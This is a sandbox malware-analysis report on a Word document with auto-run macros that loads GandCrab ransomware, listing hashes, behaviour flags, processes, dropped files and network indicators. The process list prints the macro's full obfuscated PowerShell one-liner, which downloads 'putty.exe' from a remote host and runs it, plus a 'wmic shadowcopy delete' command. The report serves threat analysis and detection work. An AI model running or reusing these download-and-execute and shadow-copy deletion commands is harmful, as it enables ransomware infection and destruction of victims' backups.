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File name:

Emergеnсyеxitmар.doc

Full analysis: https://app.any.run/tasks/12f1150d-8b2b-42b9-aa09-5554d63fec86
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: January 23, 2019, 09:54:59
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
ransomware
gandcrab
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: admin, Template: Normal.dotm, Last Saved By: Admin, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Jan 22 19:27:00 2019, Last Saved Time/Date: Tue Jan 22 19:28:00 2019, Number of Pages: 1, Number of Words: 10, Number of Characters: 57, Security: 0
MD5:

D489E42E0AAC01A5D4C07E2976414559

SHA1:

0FDC67E6804997047A2FF884A368968F6CE3BBEB

SHA256:

C69B49DE3046C74B69DA1CF8AF7C065430292340CE1959B1AF973A329F585251

SSDEEP:

384:QJjFiSAoKXMVkkY4Tlps1tzI1vJO0ahnadSVSrvxWdimCMg0jQ9NZA:lMVkpelpys3dSVSrvQdijh9g

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3448)

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 3448)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2520)

    • GandCrab keys found

      • putty.exe (PID: 3540)

    • Application was dropped or rewritten from another process

      • putty.exe (PID: 3540)

    • Writes file to Word startup folder

      • putty.exe (PID: 3540)

    • Actions looks like stealing of personal data

      • putty.exe (PID: 3540)

    • Deletes shadow copies

      • putty.exe (PID: 3540)

    • Renames files like Ransomware

      • putty.exe (PID: 3540)

    • Dropped file may contain instructions of ransomware

      • putty.exe (PID: 3540)

    • Changes settings of System certificates

      • putty.exe (PID: 3540)

  • SUSPICIOUS

    • Creates files in the Windows directory

      • powershell.exe (PID: 2520)

    • Creates files in the user directory

      • powershell.exe (PID: 2520)
      • putty.exe (PID: 3540)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2520)

    • Creates files in the program directory

      • putty.exe (PID: 3540)

    • Reads the cookies of Mozilla Firefox

      • putty.exe (PID: 3540)

    • Creates files like Ransomware instruction

      • putty.exe (PID: 3540)

    • Adds / modifies Windows certificates

      • putty.exe (PID: 3540)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3448)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3448)

    • Dropped object may contain TOR URL's

      • putty.exe (PID: 3540)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: admin
Keywords: -
Template: Normal.dotm
LastModifiedBy: Admin
RevisionNumber: 4
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:01:22 19:27:00
ModifyDate: 2019:01:22 19:28:00
Pages: 1
Words: 10
Characters: 57
Security: None
CodePage: Windows Cyrillic
Company: Salve
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 66
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Название
  • 1
CompObjUserTypeLen: 32
CompObjUserType: ???????? Microsoft Word 97-2003
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
5
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs powershell.exe #GANDCRAB putty.exe wmic.exe vssvc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3448"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Emergеnсyеxitmар.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2520powershell $VF0eh2ayk = '61792.984793878$oMis7B = 61792.984793878n61792.984793878e61792.984793878w61792.984793878-obj61792.984793878e61792.984793878c61792.984793878t n61792.984793878e61792.984793878t61792.984793878.w61792.984793878e61792.984793878b61792.984793878cli61792.984793878ent; $oMis7B.d61792.984793878o61792.984793878w61792.984793878n61792.984793878l61792.984793878o61792.984793878a61792.984793878d61792.984793878f61792.984793878i61792.984793878le(\"61792.984793878h61792.984793878t61792.984793878t61792.984793878p61792.984793878://cameraista.com/olalala/putty.exe\", \"c:\win61792.984793878dows\t61792.984793878emp\put61792.984793878t61792.984793878y61792.984793878.61792.984793878e61792.984793878x61792.984793878e\"); 61792.984793878s61792.984793878tar61792.984793878t-p61792.984793878r61792.984793878o61792.984793878ces61792.984793878s \"c:\win61792.984793878d61792.984793878o61792.984793878ws\temp\p61792.984793878u61792.984793878t61792.984793878t61792.984793878y.ex61792.984793878e\";'.replace('61792.984793878', $mIR9DCa);$K7QH4bT = '';iex($VF0eh2ayk);C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3540"C:\windows\temp\putty.exe" C:\windows\temp\putty.exe
powershell.exe
User:
admin
Company:
Nullsoft, Inc.
Integrity Level:
MEDIUM
Description:
Audience Need Zimmerman
Version:
3.1.22.6
2928"C:\Windows\system32\wbem\wmic.exe" shadowcopy deleteC:\Windows\system32\wbem\wmic.exe
putty.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
WMI Commandline Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2880C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe—services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft® Volume Shadow Copy Service
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 535
Read events
1 023
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
420
Text files
322
Unknown types
13

Dropped files

PID
Process
Filename
Type
3448WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR865C.tmp.cvr —
MD5:—
SHA256:—
2520powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RWLW4SGWAL5CU2E779YP.temp —
MD5:—
SHA256:—
3540putty.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\boot.sdi —
MD5:—
SHA256:—
3540putty.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim.jingdley —
MD5:—
SHA256:—
3448WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:5CB90EF4D6FFD5BA2C65EBBD2A082C06
SHA256:FAC86F097AA7DBB7CFB9A715C42A0E619A5FF86EB8C10D3774D6F01F1FB8505C
2520powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
3448WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:C794F3CE4B7F56F30C917B3CD92F2C18
SHA256:BEF2565C55AEFD91D635C3DDD24F108FD25799DC1DE64FF9703161049642AFCC
3540putty.exeC:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\Winre.wim —
MD5:—
SHA256:—
3540putty.exeC:\System Volume Information\SPP\OnlineMetadataCache\{05ed3515-06b3-48f6-8cf2-bf24b1bf0727}_OnDiskSnapshotProp —
MD5:—
SHA256:—
3540putty.exeC:\Recovery\JINGDLEY-DECRYPT.txttext
MD5:FEF99FD80C4651608C304CB0D2538EE1
SHA256:ADFE8C654AA5042B9BE520859668BD1AB6E45EC0273A251EB771C8B2144F7486
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2520
powershell.exe
GET
200
205.185.117.187:80
http://cameraista.com/olalala/putty.exe
US
executable
641 Kb
suspicious
3540
putty.exe
GET
301
138.201.162.99:80
http://www.kakaocorp.link/
DE
html
162 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3540
putty.exe
138.201.162.99:443
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious
3540
putty.exe
138.201.162.99:80
www.kakaocorp.link
Hetzner Online GmbH
DE
malicious
2520
powershell.exe
205.185.117.187:80
cameraista.com
FranTech Solutions
US
suspicious

DNS requests

Domain
IP
Reputation
cameraista.com
  • 205.185.117.187
suspicious
www.kakaocorp.link
  • 138.201.162.99
malicious

Threats

PID
Process
Class
Message
2520
powershell.exe
Potentially Bad Traffic
ET INFO Possibly Suspicious Request for Putty.exe from Non-Standard Download Location
2520
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2520
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
No debug info
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Emergеnсyеxitmар.doc